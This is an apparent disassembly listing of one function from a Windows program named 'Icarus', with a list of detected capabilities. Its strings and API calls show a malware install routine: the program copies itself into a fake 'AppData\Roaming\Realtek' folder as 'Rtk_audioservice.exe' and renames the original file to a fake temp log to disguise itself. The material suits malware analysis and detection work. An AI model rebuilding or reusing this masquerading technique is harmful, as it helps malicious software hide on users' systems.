Function at 0x140011370
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Move file
Query environment variable

Disassembly:
jmp 0x140015230
push rbp
push rdi
sub rsp, 0xa08
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1b6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140024278]
xor rax, rbp
mov qword [rbp + 0x9c8], rax
lea rcx, [0x14002a1ba]
call fcn.1400115fa
call qword [sym.imp.ucrtbased.dll___p___argv]
mov ecx, 8
imul rcx, rcx, 0
mov rax, qword [rax]
mov r8d, 0x104
mov rdx, qword [rax + rcx]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ucrtbased.dll__fullpath]
test rax, rax
je 0x1400152a8
lea rdx, [rbp + 0x30]
lea rcx, str._i__Obtained_path_to_current_file:__s_n_n
call fcn.1400112d5
mov ecx, 0x20a
call fcn.14001128a
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x30]
mov r8d, 0x105
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov r8d, 0x104
lea rdx, [rbp + 0x180]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rbp + 0x180]
lea r8, str._sAppDataRoamingRealtekRtk_audioservice.exe
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.140011451
lea rdx, [rbp + 0x2b0]
lea rcx, str._i__Icarus_will_be_moved_to_this_path:__s_n_n
call fcn.1400112d5
mov ecx, 0x20a
call fcn.14001128a
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x3d8], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x2b0]
mov r8d, 0x105
mov rdx, qword [rbp + 0x3d8]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400154aa
lea rcx, str._i__The_Icarus_file_do_not_already_exist__starting_procedure_to_creation_of_the_fake_Realtek_environment_n
call fcn.1400112d5
lea r9, [rbp + 0x180]
lea r8, str._sAppDataRoamingRealtek
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.140011451
mov ecx, 0x20a
call fcn.14001128a
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
mov qword [rbp + 0x528], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x400]
mov r8d, 0x105
mov rdx, qword [rbp + 0x528]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
xor edx, edx
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.___Realtek_directory_created_n
call fcn.1400112d5
xor r8d, r8d
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140015448
lea rcx, str._i__The_file_Icarus_has_been_copied_in_the_Fake_Realtek_environment_with_success._n_n
call fcn.1400112d5
jmp 0x14001545c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_during_the_copy._Error_code:__d_n_n
call fcn.1400112d5
lea r9, [rbp + 0x180]
lea r8, str._sAppDataLocalTempwindowsTmpLogs.log
mov edx, 0x104
lea rcx, [rbp + 0x550]
call fcn.140011451
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ucrtbased.dll_rename]
test eax, eax
je 0x14001549e
lea rcx, str.____Error_during_renaming_of_file_n
call fcn.1400112d5
jmp 0x1400154aa
lea rcx, str.____The_current_file_has_been_moved_to_the_path:_tmp_n
call fcn.1400112d5
lea rax, [rbp + 0x2b0]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f770]
call fcn.140011514
mov rax, rdi
mov rcx, qword [rbp + 0x9c8]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x9d8]
pop rdi
pop rbp
ret